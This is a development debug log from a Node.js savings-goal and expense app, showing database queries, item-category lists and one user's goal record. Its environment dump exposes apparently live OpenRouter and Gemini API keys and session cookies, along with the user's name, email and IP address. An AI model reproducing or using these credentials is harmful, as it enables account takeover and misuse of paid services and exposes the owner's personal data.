  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-24T12:05:15.108Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-24T12:05:15.112Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      target_id: 8,
      credit: 50000,
      debit: 0,
      created_on: '2026-02-24T12:05:14.000Z',
      name: 'CPU Build'
    }
  ]
}
2026-02-24T12:05:25.777Z server-connect:router Serving templateView /goal
2026-02-24T12:05:25.778Z server-connect:app Executing action step identify
2026-02-24T12:05:25.778Z server-connect:app options: { provider: 'security' }
2026-02-24T12:05:25.778Z server-connect:output identity: 1
2026-02-24T12:05:25.778Z server-connect:app Executing action step restrict
2026-02-24T12:05:25.778Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:05:25.779Z server-connect:output restrict: undefined
2026-02-24T12:05:25.779Z server-connect:router Render template layouts/main
2026-02-24T12:05:25.779Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"142cb-A4dmQhNAO/ET1DfCt1aIUmcue0A"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:01:39.296Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"142cb-A4dmQhNAO/ET1DfCt1aIUmcue0A"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/goal'
}
2026-02-24T12:05:26.320Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-24T12:05:26.321Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-24T12:05:26.322Z server-connect:router Serving serverConnect /api/goals/list
2026-02-24T12:05:26.323Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-02-24T12:05:26.323Z server-connect:app Executing action step identify
2026-02-24T12:05:26.323Z server-connect:app options: { provider: 'security' }
2026-02-24T12:05:26.323Z server-connect:output identity: 1
2026-02-24T12:05:26.323Z server-connect:app Executing action step restrict
2026-02-24T12:05:26.323Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:05:26.324Z server-connect:app Executing action step identify
2026-02-24T12:05:26.324Z server-connect:app options: { provider: 'security' }
2026-02-24T12:05:26.324Z server-connect:output identity: 1
2026-02-24T12:05:26.324Z server-connect:app Executing action step restrict
2026-02-24T12:05:26.324Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:05:26.324Z server-connect:output restrict: undefined
2026-02-24T12:05:26.325Z server-connect:app Executing action step select
2026-02-24T12:05:26.325Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-24T12:05:26.325Z server-connect:app Executing action step identify
2026-02-24T12:05:26.325Z server-connect:app options: { provider: 'security' }
2026-02-24T12:05:26.325Z server-connect:output identity: 1
2026-02-24T12:05:26.325Z server-connect:app Executing action step restrict
2026-02-24T12:05:26.326Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:05:26.326Z server-connect:output restrict: undefined
2026-02-24T12:05:26.326Z server-connect:app Executing action step single
2026-02-24T12:05:26.326Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-24T12:05:26.327Z server-connect:app Executing action step identify
2026-02-24T12:05:26.327Z server-connect:app options: { provider: 'security' }
2026-02-24T12:05:26.327Z server-connect:output identity: 1
2026-02-24T12:05:26.327Z server-connect:app Executing action step restrict
2026-02-24T12:05:26.327Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:05:26.330Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-24T12:05:26.331Z server-connect:output restrict: undefined
2026-02-24T12:05:26.331Z server-connect:app Executing action step custom
2026-02-24T12:05:26.331Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-02-24T12:05:26.331Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-24T12:05:26.332Z server-connect:output restrict: undefined
2026-02-24T12:05:26.332Z server-connect:app Executing action step paged
2026-02-24T12:05:26.332Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-24T12:05:26.335Z server-connect:output list: [
  {
    id: 8,
    name: 'CPU Build',
    amount: 200000,
    description: 'Build 9070XT pc build',
    userid: 1,
    created_on: 2026-02-24T12:05:14.000Z,
    status: 'Not Started',
    category: 'Electronics',
    total_saved: '50000',
    last_transaction_date: 2026-02-24T12:05:14.000Z,
    percentage_achieved: '25.00',
    grand_total_saved: '50000',
    grand_total_target: '200000'
  }
]
2026-02-24T12:05:26.336Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      target_id: 8,
      credit: 50000,
      debit: 0,
      created_on: '2026-02-24T12:05:14.000Z',
      name: 'CPU Build'
    }
  ]
}
2026-02-24T12:05:59.152Z server-connect:router Serving serverConnect /api/goals/manage
2026-02-24T12:05:59.152Z server-connect:app Executing action step identify
2026-02-24T12:05:59.152Z server-connect:app options: { provider: 'security' }
2026-02-24T12:05:59.153Z server-connect:output identity: 1
2026-02-24T12:05:59.153Z server-connect:app Executing action step restrict
2026-02-24T12:05:59.153Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:05:59.153Z server-connect:output restrict: undefined
2026-02-24T12:05:59.153Z server-connect:app Executing action step condition
2026-02-24T12:05:59.153Z server-connect:app options: { if: '{{$_POST.target_id}}', else: { steps: [ [Object], [Object] ] } }
2026-02-24T12:05:59.153Z server-connect:app Executing action step insert
2026-02-24T12:05:59.153Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    table: 'target_master',
    returning: 'id',
    query: 'insert into `target_master` (`amount`, `category`, `created_on`, `description`, `name`, `userid`) values (?, ?, ?, ?, ?, ?)',
